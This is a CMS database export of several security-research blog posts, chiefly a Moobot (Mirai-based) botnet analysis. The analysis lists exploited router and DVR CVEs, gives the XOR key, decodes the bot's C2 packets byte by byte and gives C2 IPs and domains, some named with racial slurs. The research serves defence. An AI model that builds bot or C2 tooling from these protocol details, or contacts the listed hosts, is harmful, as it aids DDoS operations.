solutions放置的parking域名的服务器：204.11.56.48（事实上204.11.56.48/24这个网段都是，现在我们只讨论这个IP）。使用的parking的NS服务器是 形如NS[0-9]{4,5}.ztomy.com和sk.s[0-9]{1}.ans[0-9]{1}.ns[0-9]{3}.ztomy.com样式的名称服务器。"]]],[1,"h3",[[0,[],0,"再说 威胁情报"]]],[1,"p",[[0,[],0,"这个域名停靠的IP(204.11.56.48) 如果你只看现有威胁情报平台的话，黑的不得了。各类开源情报对其描述也十分详尽。可惜这些标签都是错的。"]]],[10,6],[1,"p",[[0,[],0,"事实是这个IP就是一个停靠过期域名的一个服务器。威胁情报平台中描述的那些恶意家族极有可能仅仅是过期了，被鸡贼的New Ventures Services, Corp抢注了然后挂到了自己的parking服务器而已。而情报厂商利用DNS数据就由此言之凿凿的产生所谓的威胁情报似乎有点不太严肃。"]]],[1,"p",[[0,[],0,"当然，如果从安全的角度来说，基于现有的判定，对这个IP进行封堵，对严格的商业客户来说也没有问题。不过错误的标签会浪费分析人员的时间和精力，对最终的结论也会是错误的判定。"]]],[1,"h6",[[0,[],0,"you can you up, no can no BB"]]],[1,"p",[[0,[],0,"事实上，ibankupdate.com使用的两个NS服务器在2015年8月份的时候，就被DNSMon标定为停靠域名服务器了，利用这个不是威胁情报的情报，可以快速的推断出www.ibankupdate.com目前的状态，再验证一下IP和域名的对应关系即可，而不必再花太多的精力在分析那些标定在IP上的恶意标签，甚至需要安服人员去现场分析日志样本等繁杂的工作了。有图有真相："]]],[10,7],[10,8],[1,"h2",[[0,[],0,"简单总结"]]],[10,9],[1,"p",[]]],"ghostVersion":"3.0"} | 5ecf7c727646030007b27d31 |
post | null | 2020-06-17T04:08:27.000Z | 63873b9a8b1c1e0007f52f75 | xin-ji-jian-cong-dnsfan-qiang-ji-chang | 0 | 2020-08-17T11:31:19.000Z | public | draft | null | null | 新基建？从DNS看翻墙机场的建设和运营 | <h3 id="-">那从小飞机到大机场，翻墙的变迁</h3><h3 id="--1">机场规模评估</h3><h4 id="--2">用户活跃度</h4><h4 id="--3">持续时间</h4><h3 id="--4">机场的基础设施</h3><p>不同机场的对比，新技术的采用，老技术的活跃度</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2020/06/image.png" class="kg-image" alt loading="lazy"><figcaption>机场的前端域名使用模拟alibaba的域名</figcaption></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/08/image.png" class="kg-image" alt loading="lazy"></figure> | 那从小飞机到大机场，翻墙的变迁
机场规模评估
用户活跃度
持续时间
机场的基础设施
不同机场的对比，新技术的采用，老技术的活跃度 | {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2020/06/image.png","caption":"机场的前端域名使用模拟alibaba的域名"}],["image",{}],["image",{"src":"__GHOST_URL__/content/images/2020/08/image.png"}]],"markups":[],"sections":[[1,"h3",[[0,[],0,"那从小飞机到大机场，翻墙的变迁"]]],[1,"h3",[[0,[],0,"机场规模评估"]]],[1,"h4",[[0,[],0,"用户活跃度"]]],[1,"h4",[[0,[],0,"持续时间"]]],[1,"h3",[[0,[],0,"机场的基础设施"]]],[1,"p",[[0,[],0,"不同机场的对比，新技术的采用，老技术的活跃度"]]],[10,0],[10,1],[10,2]],"ghostVersion":"3.0"} | 5ee9973b7646030007b27ea4 |
post | null | 2020-07-02T10:33:56.000Z | 63873b9a8b1c1e0007f52f76 | moobot | 0 | 2020-07-09T14:40:05.000Z | public | published | null | 2020-07-09T03:48:54.000Z | 那些年我们一起追过的僵尸网络之Moobot | <!--kg-card-begin: markdown--><h1 id="">概述</h1>
<p>Moobot是一个基于Mirai开发的僵尸网络，我们最早发现其活动在2019年7月，这里有一篇我们关于Moobot的文章，感兴趣的读者可以去阅读<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">[0]</a>。 2019年8月起我们开始对其进行跟踪，在这将近一年的时间其样本更新、DDoS攻击等活动从未间断过。其最近参加了一次我们不方便透露的重大DDoS攻击活动，又一次成功引起了我们的注意。所以决定来扒一扒它的前世今生。</p>
<h1 id="">样本传播</h1>
<p>Moobot样本主要通过Telnet弱口令和利用nday,0day<a href="__GHOST_URL__/multiple-fiber-routers-are-being-compromised-by-botnets-using-0-day/">[1]</a><a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/">[2]</a>漏洞传播，我们观察到的Moobot利用的漏洞如下：</p>
<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Affected Aevice</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://habr.com/en/post/486856/">HiSilicon DVR/NVR Backdoor</a></td>
<td>Firmware for Xiaongmai-based DVRs, NVRs and IP cameras</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/48268">CVE-2020-8515</a></td>
<td>DrayTek Vigor router</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/41471/">JAWS Webserver unauthenticated shell command execution</a></td>
<td>MVPower DVR</td>
</tr>
<tr>
<td><a href="https://www.meritlilin.com/assets/uploads/support/file/M00158-TW.pdf">LILIN DVR</a></td>
<td>LILIN DVRs</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/48225">GPON Router RCE</a></td>
<td>Netlink GPON Router 1.0.11</td>
</tr>
<tr>
<td><a href="https://github.com/mcw0/PoC/blob/master/TVT-PoC.py">TVT OEM API RCE</a></td>
<td>TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/45978">ThinkPHP 5.0.23/5.1.31 RCE</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/39328">Android Debug Bridge Remote Payload Execution</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/40500/">AVTECH Devices Multiple Vulnerabilities</a></td>
<td>AVTECH IP Camera / NVR / DVR Devices</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/43414/">CVE-2017-17215</a></td>
<td>Huawei Router HG532</td>
</tr>
<tr>
<td><a href="https://www.rapid7.com/db/modules/exploit/linux/misc/netcore_udp_53413_backdoor">Netcore Router Udp 53413 Backdoor</a></td>
<td>Netcore Router</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/37169/">CVE-2014-8361</a></td>
<td>Devices using the Realtek SDK</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/48247">CVE_2020_5722</a></td>
<td>Grandstream UCM6202</td>
</tr>
<tr>
<td><a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">CVE-2017-8225</a></td>
<td>The Wireless IP Camera (P2P) WIFICAM</td>
</tr>
<tr>
<td><a href="__GHOST_URL__/the-new-developments-of-the-fbot-en/">DVRIP backdoor</a></td>
<td></td>
</tr>
</tbody>
</table>
<h1 id="">样本分析</h1>
<p>在之前的文章中介绍了Moobot的诸多变种，我们认为其作者相较与简单的改改C2，更倾向开发使用新的技术。Moobot的作者在样本二进制层面&网络流量层面做了许多尝试，一般样本都会采用下述方法中的多种组合，来和安全研究人员进行对抗。</p>
<ul>
<li>使用DNS TXT存储C2/手动构建DNS TXT请求</li>
<li>使用新的UPX幻数进行加壳</li>
<li>使用码表替换的加密方法的隐藏敏感资源</li>
<li>使用SOCKS PROXY，TOR PROXY</li>
</ul>
<p>但是在2020年1月起活跃至今的名为Moobot_xor的变种中，情况出现了变化。Moobot_xor是Moobot大家族中少见的只是修改了上线协议的变种，或许是因为Moobot的作者在长达1年的运营中，发现只需要做这样简单的修改，再加上不停的更换C2，就能达到非常好的收益，没必要再投入新技术的研究了。</p>
<h3 id="">样本信息</h3>
<pre><code>MD5:98c8326b28163fdaeeb0b056f940ed72
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer:None
Lib:uclibc
Verdict: Moobot_xor
</code></pre>
<p>Mirai已经是安全社区非常熟悉的老朋友了,而Moobot_xor与Mirai很接近，因此下文只从加密方法以及通信协议俩个方面介绍Moobot_xor，别的方面就不再细述。了解加密方法可以提取bot的配制信息，了解通信 协议可以跟踪C2以获取最新的攻击指令，希望这些内容能帮助社区更好的打击Moobot家族。</p>
<h3 id="">加密方法</h3>
<p>Moobot_xor采用Mirai经典的Xor加解密方法，key为<code>0DEADBEEFh</code>,<br>
<a href="__GHOST_URL__/content/images/2020/07/moo_xor.png"><img src="__GHOST_URL__/content/images/2020/07/moo_xor.png" class="kg-image"/></a></p>
<h3 id="">通信协议</h3>
<p>Mobot_xor在Mirai通信协议的基础上做了微小的修改，下文将从上线，心跳，功击指令等方面介绍其具体的变化。</p>
<ul>
<li>上线包<br>
<a href="__GHOST_URL__/content/images/2020/07/moo_reg.png"><img src="__GHOST_URL__/content/images/2020/07/moo_reg.png" class="kg-image"/></a></li>
</ul>
<pre><code>msg parsing
----------------------------------------------------------------
33 66 99 -----> hardcoded magic
06 -----> group string length
67 6c 61 69 76 65 -----> group string,here it is "glaive"
</code></pre>
<ul>
<li>心跳包<br>
<a href="__GHOST_URL__/content/images/2020/07/moo_heart.png"><img src="__GHOST_URL__/content/images/2020/07/moo_heart.png" class="kg-image"/></a></li>
</ul>
<pre><code>msg parsing
----------------------------------------------------------------
00 00 -----> hardcoded msg from bot
00 00 -----> hardcoded msg from c2
</code></pre>
<ul>
<li>攻击指令包</li>
</ul>
<p><a href="__GHOST_URL__/content/images/2020/07/moo_atk.png"><img src="__GHOST_URL__/content/images/2020/07/moo_atk.png" class="kg-image"/></a></p>
<pre><code>msg parsing
----------------------------------------------------------------
similar to mirai
01 -----> number of targets
77 a7 B5 CB 20 ----->target/mask, 119.167.181.203/32
02 -----> number of flags
00 -----> flag type
02 -----> flag length
32 30 -----> flag data
07 -----> flag type
02 -----> flag length
38 30 -----> flag data
</code></pre>
<h1 id="moobotddos">Moobot DDoS活动</h1>
<p>自从我们开始跟踪Moobot，其攻击活动从未停止过。根据我们的观察，其日活C2始终保持个位数，但是C2存活时间较长。攻击目标遍布全球，每日攻击目标100个左右。</p>
<h3 id="moobot">Moobot的攻击目标</h3>
<p>Moobot的每日攻击目标趋势如下图所示：<br>
<a href="__GHOST_URL__/content/images/2020/07/moobot.ddos.target.png"><img src="__GHOST_URL__/content/images/2020/07/moobot.ddos.target.m.png" class="kg-image"/></a></p>
<p>从上图可以看出Moobot的DDoS攻击活动在2020年3月末至2020年5月初出现明显的异常点，Moobot的日攻击目标从平常的几百暴增到将近2万。经过分析我们发现Moobot攻击目标暴增是因为在这段期间Moobot攻击了大约48k左右的巴西的IP。我们不清楚Moobot盯着巴西往死里打打奇怪攻击行为的目的是什么。去除地理位置在巴西的攻击目标。Moobot的日活攻击目标如下，每天100左右的攻击目标：<br>
<a href="__GHOST_URL__/content/images/2020/07/moobot.target.no.br.png"><img src="__GHOST_URL__/content/images/2020/07/moobot.target.no.br.m.png" class="kg-image"/></a></p>
<h3 id="moobot">Moobot攻击目标地理位置分布</h3>
<p>Moobot的攻击目标遍布全球，被攻击的目标主要分布在中国，美国，德国，俄罗斯等地。其攻击目标地理位置分布如下：<br>
<a href="__GHOST_URL__/content/images/2020/07/moobot.target.geo.png"><img src="__GHOST_URL__/content/images/2020/07/moobot.target.geo.m-1.png" class="kg-image"/></a></p>
<h3 id="moobot">Moobot攻击受影响的域名</h3>
<p>通过我们的PDNS数据反查被Moobot攻击的IP，发现至少3k以上的域名被影响，之前我们也观察到Moobot<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">攻击了很多流行站点/重要服务</a>。包括DNS ROOT，Twitter, Facebook, Pornhub, <a href="https://wikimediafoundation.org/news/2019/09/07/malicious-attack-on-wikipedia-what-we-know-and-what-were-doing/">Wikimedia</a>, <a href="https://twitter.com/MasafumiNegishi/status/1170881367871082497">Twitch, World of Warcraft Server</a>, Google，Baidu， Alibaba，Krebs on Security等。当时据一名为<a href="https://www.genelmag.com/article/ddos-attack-on-twitch-and-wow-servers">UKDrillas</a>的黑客或客户组织称攻击这些流行站点的目的是为了测试该Botnet的攻击效果。部分Moobot攻击目标对应的域名如下图所示:<br>
<a href="__GHOST_URL__/content/images/2020/07/moobot.affected.domain.png"><img src="__GHOST_URL__/content/images/2020/07/moobot.affected.domain.m.png" class="kg-image"/></a></p>
<h1 id="ioc">IOC</h1>
<h2 id="c2">C2</h2>
<pre><code>190.115.18.238 AS262254|DANCOM_LTD Russian_Federation|Moscow|Unknown
31.13.195.56 AS34224|Neterra_Ltd. Bulgaria|Sofia|Unknown
37.49.226.216 AS208666|Estro_Web_Services_Private_Limited Netherlands|Overijssel|Enschede
45.95.168.90 AS42864|Giganet_Internet_Szolgaltato_Kft Hungary|Szabolcs-Szatmar-Bereg_County|Nyiregyhaza
abcdefg.elrooted.com
audi.n1gger.com
botnetisharam.com
cykablyat.raiseyourdongers.pw
dbkjbueuvmf5hh7z.onion
frsaxhta.elrooted.com
gcc.cyberium.cc
n1gger.com
nd3rwzslqhxibkl7.onion
nlocalhost.wordtheminer.com
park.cyberium.cc
park.elrooted.com
proxy.2u0apcm6ylhdy7s.com
rr442myy7yz4.osrq.xyz
sisuugde7gzpef2d.onion
typicalniggerdayatthecoolaidparty.n1gger.com
wor.wordtheminer.com
zrqq.xyz
tbpsboy.com
</code></pre>
<!--kg-card-end: markdown--> | 概述
Moobot是一个基于Mirai开发的僵尸网络，我们最早发现其活动在2019年7月，这里有一篇我们关于Moobot的文章，感兴趣的读者可以去阅读[0]。 2019年8月起我们开始对其进行跟踪，在这将近一年的时间其样本更新、DDoS攻击等活动从未间断过。其最近参加了一次我们不方便透露的重大DDoS攻击活动，又一次成功引起了我们的注意。所以决定来扒一扒它的前世今生。
样本传播
Moobot样本主要通过Telnet弱口令和利用nday,0day[1][2]漏洞传播，我们观察到的Moobot利用的漏洞如下：
Vulnerability
Affected Aevice
HiSilicon DVR/NVR Backdoor
Firmware for Xiaongmai-based DVRs, NVRs and IP cameras
CVE-2020-8515
DrayTek Vigor router
JAWS Webserver unauthenticated shell command execution
MVPower DVR
LILIN DVR
LILIN DVRs
GPON Router RCE
Netlink GPON Router 1.0.11
TVT OEM API RCE
TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE
ThinkPHP 5.0.23/5.1.31 RCE
Android Debug Bridge Remote Payload Execution
AVTECH Devices Multiple Vulnerabilities
AVTECH IP Camera / NVR / DVR Devices
CVE-2017-17215
Huawei Router HG532
Netcore Router Udp 53413 Backdoor
Netcore Router
CVE-2014-8361
Devices using the Realtek SDK
CVE_2020_5722
Grandstream UCM6202
CVE-2017-8225
The Wireless IP Camera (P2P) WIFICAM
DVRIP backdoor
样本分析
在之前的文章中介绍了Moobot的诸多变种，我们认为其作者相较与简单的改改C2，更倾向开发使用新的技术。Moobot的作者在样本二进制层面&网络流量层面做了许多尝试，一般样本都会采用下述方法中的多种组合，来和安全研究人员进行对抗。
* 使用DNS TXT存储C2/手动构建DNS TXT请求
* 使用新的UPX幻数进行加壳
* 使用码表替换的加密方法的隐藏敏感资源
* 使用SOCKS PROXY，TOR PROXY
但是在2020年1月起活跃至今的名为Moobot_xor的变种中，情况出现了变化。Moobot_xor是Moobot大家族中少见的只是修改了上线协议的变种，或许是因为Moobot的作者在长达1年的运营中，发现只需要做这样简单的修改，再加上不停的更换C2，就能达到非常好的收益，没必要再投入新技术的研究了。
样本信息
MD5:98c8326b28163fdaeeb0b056f940ed72
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer:None
Lib:uclibc
Verdict: Moobot_xor
Mirai已经是安全社区非常熟悉的老朋友了,而Moobot_xor与Mirai很接近，因此下文只从加密方法以及通信协议俩个方面介绍Moobot_xor，别的方面就不再细述。了解加密方法可以提取bot的配制信息，了解通信 协议可以跟踪C2以获取最新的攻击指令，希望这些内容能帮助社区更好的打击Moobot家族。
加密方法
Moobot_xor采用Mirai经典的Xor加解密方法，key为0DEADBEEFh,
通信协议
Mobot_xor在Mirai通信协议的基础上做了微小的修改，下文将从上线，心跳，功击指令等方面介绍其具体的变化。
* 上线包
msg parsing
----------------------------------------------------------------
33 66 99 -----> hardcoded magic
06 -----> group string length
67 6c 61 69 76 65 -----> group string,here it is "glaive"
* 心跳包
msg parsing
----------------------------------------------------------------
00 00 -----> hardcoded msg from bot
00 00 -----> hardcoded msg from c2
* 攻击指令包
msg parsing
----------------------------------------------------------------
similar to mirai
01 -----> number of targets
77 a7 B5 CB 20 ----->target/mask, 119.167.181.203/32
02 -----> number of flags
00 -----> flag type
02 -----> flag length
32 30 -----> flag data
07 -----> flag type
02 -----> flag length
38 30 -----> flag data
Moobot DDoS活动
自从我们开始跟踪Moobot，其攻击活动从未停止过。根据我们的观察，其日活C2始终保持个位数，但是C2存活时间较长。攻击目标遍布全球，每日攻击目标100个左右。
Moobot的攻击目标
Moobot的每日攻击目标趋势如下图所示：
从上图可以看出Moobot的DDoS攻击活动在2020年3月末至2020年5月初出现明显的异常点，Moobot的日攻击目标从平常的几百暴增到将近2万。经过分析我们发现Moobot攻击目标暴增是因为在这段期间Moobot攻击了大约48k左右的巴西的IP。我们不清楚Moobot盯着巴西往死里打打奇怪攻击行为的目的是什么。去除地理位置在巴西的攻击目标。Moobot的日活攻击目标如下，每天100左右的攻击目标：
Moobot攻击目标地理位置分布
Moobot的攻击目标遍布全球，被攻击的目标主要分布在中国，美国，德国，俄罗斯等地。其攻击目标地理位置分布如下：
Moobot攻击受影响的域名
通过我们的PDNS数据反查被Moobot攻击的IP，发现至少3k以上的域名被影响，之前我们也观察到Moobot攻击了很多流行站点/重要服务。包括DNS ROOT，Twitter, Facebook, Pornhub, Wikimedia, Twitch, World of Warcraft Server, Google，Baidu， Alibaba，Krebs on Security等。当时据一名为UKDrillas的黑客或客户组织称攻击这些流行站点的目的是为了测试该Botnet的攻击效果。部分Moobot攻击目标对应的域名如下图所示:
IOC
C2
190.115.18.238 AS262254|DANCOM_LTD Russian_Federation|Moscow|Unknown
31.13.195.56 AS34224|Neterra_Ltd. Bulgaria|Sofia|Unknown
37.49.226.216 AS208666|Estro_Web_Services_Private_Limited Netherlands|Overijssel|Enschede
45.95.168.90 AS42864|Giganet_Internet_Szolgaltato_Kft Hungary|Szabolcs-Szatmar-Bereg_County|Nyiregyhaza
abcdefg.elrooted.com
audi.n1gger.com
botnetisharam.com
cykablyat.raiseyourdongers.pw
dbkjbueuvmf5hh7z.onion
frsaxhta.elrooted.com
gcc.cyberium.cc
n1gger.com
nd3rwzslqhxibkl7.onion
nlocalhost.wordtheminer.com
park.cyberium.cc
park.elrooted.com
proxy.2u0apcm6ylhdy7s.com
rr442myy7yz4.osrq.xyz
sisuugde7gzpef2d.onion
typicalniggerdayatthecoolaidparty.n1gger.com
wor.wordtheminer.com
zrqq.xyz
tbpsboy.com
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 概述\nMoobot是一个基于Mirai开发的僵尸网络，我们最早发现其活动在2019年7月，这里有一篇我们关于Moobot的文章，感兴趣的读者可以去阅读[[0]](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/)。 2019年8月起我们开始对其进行跟踪，在这将近一年的时间其样本更新、DDoS攻击等活动从未间断过。其最近参加了一次我们不方便透露的重大DDoS攻击活动，又一次成功引起了我们的注意。所以决定来扒一扒它的前世今生。\n\n# 样本传播\nMoobot样本主要通过Telnet弱口令和利用nday,0day[[1]](__GHOST_URL__/multiple-fiber-routers-are-being-compromised-by-botnets-using-0-day/)[[2]](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/)漏洞传播，我们观察到的Moobot利用的漏洞如下：\n| Vulnerability | Affected Aevice |\n| ------------- | ---------------- |\n| [HiSilicon DVR/NVR Backdoor](https://habr.com/en/post/486856/) | Firmware for Xiaongmai-based DVRs, NVRs and IP cameras |\n| [CVE-2020-8515](https://www.exploit-db.com/exploits/48268) | DrayTek Vigor router |\n| [JAWS Webserver unauthenticated shell command execution](https://www.exploit-db.com/exploits/41471/) | MVPower DVR | \n| [LILIN DVR](https://www.meritlilin.com/assets/uploads/support/file/M00158-TW.pdf) | LILIN DVRs | \n| [GPON Router RCE](https://www.exploit-db.com/exploits/48225) | Netlink GPON Router 1.0.11 |\n| [TVT OEM API RCE](https://github.com/mcw0/PoC/blob/master/TVT-PoC.py) | TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE |\n| [ThinkPHP 5.0.23/5.1.31 RCE](https://www.exploit-db.com/exploits/45978) | |\n| [Android Debug Bridge Remote Payload Execution](https://www.exploit-db.com/exploits/39328) | |\n| [AVTECH Devices Multiple Vulnerabilities](https://www.exploit-db.com/exploits/40500/) | AVTECH IP Camera / NVR / DVR Devices |\n| [CVE-2017-17215](https://www.exploit-db.com/exploits/43414/) | Huawei Router HG532 |\n| [Netcore Router Udp 53413 Backdoor](https://www.rapid7.com/db/modules/exploit/linux/misc/netcore_udp_53413_backdoor) | Netcore Router |\n| [CVE-2014-8361](https://www.exploit-db.com/exploits/37169/) | Devices using the Realtek SDK|\n| [CVE_2020_5722](https://www.exploit-db.com/exploits/48247) | Grandstream UCM6202 |\n| [CVE-2017-8225](https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html) | The Wireless IP Camera (P2P) WIFICAM |\n| [DVRIP backdoor](__GHOST_URL__/the-new-developments-of-the-fbot-en/) | |\n\n# 样本分析\n在之前的文章中介绍了Moobot的诸多变种，我们认为其作者相较与简单的改改C2，更倾向开发使用新的技术。Moobot的作者在样本二进制层面&网络流量层面做了许多尝试，一般样本都会采用下述方法中的多种组合，来和安全研究人员进行对抗。\n\n- 使用DNS TXT存储C2/手动构建DNS TXT请求\n- 使用新的UPX幻数进行加壳\n- 使用码表替换的加密方法的隐藏敏感资源\n- 使用SOCKS PROXY，TOR PROXY\n\n但是在2020年1月起活跃至今的名为Moobot_xor的变种中，情况出现了变化。Moobot_xor是Moobot大家族中少见的只是修改了上线协议的变种，或许是因为Moobot的作者在长达1年的运营中，发现只需要做这样简单的修改，再加上不停的更换C2，就能达到非常好的收益，没必要再投入新技术的研究了。\n\n### 样本信息\n\n```\nMD5:98c8326b28163fdaeeb0b056f940ed72\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\nPacker:None\nLib:uclibc\nVerdict: Moobot_xor\n```\n\nMirai已经是安全社区非常熟悉的老朋友了,而Moobot_xor与Mirai很接近，因此下文只从加密方法以及通信协议俩个方面介绍Moobot_xor，别的方面就不再细述。了解加密方法可以提取bot的配制信息，了解通信 协议可以跟踪C2以获取最新的攻击指令，希望这些内容能帮助社区更好的打击Moobot家族。\n\n### 加密方法\n\nMoobot_xor采用Mirai经典的Xor加解密方法，key为```0DEADBEEFh```,\n<a href=\"__GHOST_URL__/content/images/2020/07/moo_xor.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moo_xor.png\" class=\"kg-image\"/></a>\n\n### 通信协议\nMobot_xor在Mirai通信协议的基础上做了微小的修改，下文将从上线，心跳，功击指令等方面介绍其具体的变化。\n* 上线包\n<a href=\"__GHOST_URL__/content/images/2020/07/moo_reg.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moo_reg.png\" class=\"kg-image\"/></a>\n```\nmsg parsing\n----------------------------------------------------------------\n33 66 99 \t\t\t\t\t-----> hardcoded magic\n06\t\t\t\t\t\t\t-----> group string length\n67 6c 61 69 76 65\t\t\t-----> group string,here it is \"glaive\"\n```\n\n* 心跳包\n<a href=\"__GHOST_URL__/content/images/2020/07/moo_heart.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moo_heart.png\" class=\"kg-image\"/></a>\n```\nmsg parsing\n----------------------------------------------------------------\n00 00 \t\t\t\t\t-----> hardcoded msg from bot\n00 00\t\t\t\t\t-----> hardcoded msg from c2\t\n```\n\n* 攻击指令包\n\n<a href=\"__GHOST_URL__/content/images/2020/07/moo_atk.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moo_atk.png\" class=\"kg-image\"/></a>\n```\nmsg parsing\n----------------------------------------------------------------\nsimilar to mirai\n\n01 \t\t\t\t\t\t-----> number of targets\n\n\t77 a7 B5 CB 20\t\t----->target/mask, 119.167.181.203/32\n\n02\t\t\t\t\t\t-----> number of flags\n\n\t00\t\t\t\t\t-----> flag type\n\t02\t\t\t\t\t-----> flag length\n\t32 30\t\t\t\t-----> flag data\n\t\n\t\n\t07\t\t\t\t\t-----> flag type\n\t02\t\t\t\t\t-----> flag length\n\t38 30\t\t\t\t-----> flag data\n\t\n\t\n```\n\n\n# Moobot DDoS活动\n\n自从我们开始跟踪Moobot，其攻击活动从未停止过。根据我们的观察，其日活C2始终保持个位数，但是C2存活时间较长。攻击目标遍布全球，每日攻击目标100个左右。\n\n### Moobot的攻击目标\nMoobot的每日攻击目标趋势如下图所示：\n<a href=\"__GHOST_URL__/content/images/2020/07/moobot.ddos.target.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moobot.ddos.target.m.png\" class=\"kg-image\"/></a>\n\n从上图可以看出Moobot的DDoS攻击活动在2020年3月末至2020年5月初出现明显的异常点，Moobot的日攻击目标从平常的几百暴增到将近2万。经过分析我们发现Moobot攻击目标暴增是因为在这段期间Moobot攻击了大约48k左右的巴西的IP。我们不清楚Moobot盯着巴西往死里打打奇怪攻击行为的目的是什么。去除地理位置在巴西的攻击目标。Moobot的日活攻击目标如下，每天100左右的攻击目标：\n<a href=\"__GHOST_URL__/content/images/2020/07/moobot.target.no.br.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moobot.target.no.br.m.png\" class=\"kg-image\"/></a>\n\n\n### Moobot攻击目标地理位置分布\nMoobot的攻击目标遍布全球，被攻击的目标主要分布在中国，美国，德国，俄罗斯等地。其攻击目标地理位置分布如下：\n<a href=\"__GHOST_URL__/content/images/2020/07/moobot.target.geo.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moobot.target.geo.m-1.png\" class=\"kg-image\"/></a>\n\n### Moobot攻击受影响的域名\n通过我们的PDNS数据反查被Moobot攻击的IP，发现至少3k以上的域名被影响，之前我们也观察到Moobot[攻击了很多流行站点/重要服务](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/)。包括DNS ROOT，Twitter, Facebook, Pornhub, [Wikimedia](https://wikimediafoundation.org/news/2019/09/07/malicious-attack-on-wikipedia-what-we-know-and-what-were-doing/), [Twitch, World of Warcraft Server](https://twitter.com/MasafumiNegishi/status/1170881367871082497), Google，Baidu， Alibaba，Krebs on Security等。当时据一名为[UKDrillas](https://www.genelmag.com/article/ddos-attack-on-twitch-and-wow-servers)的黑客或客户组织称攻击这些流行站点的目的是为了测试该Botnet的攻击效果。部分Moobot攻击目标对应的域名如下图所示:\n<a href=\"__GHOST_URL__/content/images/2020/07/moobot.affected.domain.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moobot.affected.domain.m.png\" class=\"kg-image\"/></a>\n\n# IOC\n## C2\n```\n190.115.18.238 AS262254|DANCOM_LTD Russian_Federation|Moscow|Unknown\n31.13.195.56 AS34224|Neterra_Ltd. Bulgaria|Sofia|Unknown\n37.49.226.216 AS208666|Estro_Web_Services_Private_Limited Netherlands|Overijssel|Enschede\n45.95.168.90 AS42864|Giganet_Internet_Szolgaltato_Kft Hungary|Szabolcs-Szatmar-Bereg_County|Nyiregyhaza\nabcdefg.elrooted.com\naudi.n1gger.com\nbotnetisharam.com\ncykablyat.raiseyourdongers.pw\ndbkjbueuvmf5hh7z.onion\nfrsaxhta.elrooted.com\ngcc.cyberium.cc\nn1gger.com\nnd3rwzslqhxibkl7.onion\nnlocalhost.wordtheminer.com\npark.cyberium.cc\npark.elrooted.com\nproxy.2u0apcm6ylhdy7s.com\nrr442myy7yz4.osrq.xyz\nsisuugde7gzpef2d.onion\ntypicalniggerdayatthecoolaidparty.n1gger.com\nwor.wordtheminer.com\nzrqq.xyz\ntbpsboy.com\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5efdb8147646030007b27ebd |
post | null | 2020-07-03T12:00:40.000Z | 63873b9a8b1c1e0007f52f77 | the-gafgyt-variant-vbot-and-its-31-campaigns | 0 | 2020-07-06T08:14:05.000Z | public | published | null | 2020-07-06T08:13:49.000Z | The Gafgyt variant vbot seen in its 31 campaigns | <!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>Gafgyt botnets have a long history of infecting Linux devices to launch DDoS attacks. While dozens of variants have been detected, new variants are constantly emerging with changes in terms of register message, exploits, and attacking methods. On the other hand, their new botnets are usually short lived, with most of the C2s watched keeping active for only a few days. In this blog, I will introduce such a sort of variant. The key findings are as follow:</p>
<ol>
<li>This variant was active from mid-April to mid-June. In total 31 campaigns for this variant were detected, from which 572 samples were captured. They were spread to build 19 botnets.</li>
<li>This variant evolved through 2 versions. Both have a characteristic register message template “ver:%f:%s:%d” that includes a rarely seen format specifier “%f”.</li>
<li>Mirai code was heavily used in both versions, which makes it possible analyze them with the extracted Mirai configurations.</li>
<li>The same infrastructures, e.g., download servers, and filenames were observed being used in other families of botnet campaigns.<br>
This variant was named as vbot because vbot is found being used in an unstripped sample by the author. Accordingly the 2 versions are named as vbot1 and vbot2 in this blog.</li>
</ol>
<h2 id="vbot1">vbot1</h2>
<p>Only 1 vbot1 campaign was seen, with 26 samples captured, as shown by the following honeypot records.</p>
<p><img src="__GHOST_URL__/content/images/2020/07/fig1.png" alt="fig1" loading="lazy"></p>
